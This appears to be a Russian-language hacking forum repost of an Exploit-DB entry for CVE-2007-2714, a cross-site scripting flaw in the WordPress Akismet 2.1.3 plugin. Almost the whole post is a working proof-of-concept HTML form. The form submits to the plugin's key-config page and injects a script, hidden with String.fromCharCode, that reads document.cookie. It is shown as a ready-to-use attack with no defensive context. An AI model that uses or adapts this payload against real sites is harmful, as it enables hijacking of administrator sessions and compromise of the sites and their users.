Exploit WordPress Plugin Akismet 2.1.3 - Cross-Site Scripting

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
30036
Проверка EDB
  1. Пройдено
Автор
DAVID KIERZNOWSKI
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2007-2714
Дата публикации
2007-05-14
HTML:
<!--source: https://www.securityfocus.com/bid/23965/info

The WordPress Akismet plugin is prone to an unspecified vulnerability.
-->

<html> <body> <form action="http://www.example.com/wp-admin/plugins.php?page=akismet-key-config" method="post" id="akismet-conf"> <input name="_wpnonce" value="'" type="text"> <input name="_wp_http_referer" value="'%2522><script>eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105 ,101,41))</script>" type="text"> <input id="key" name="key" size="15" maxlength="12" value="1337"> <input name="submit" value="Update options »" type="submit"> </form> </body> </html>
 
Источник
www.exploit-db.com

Похожие темы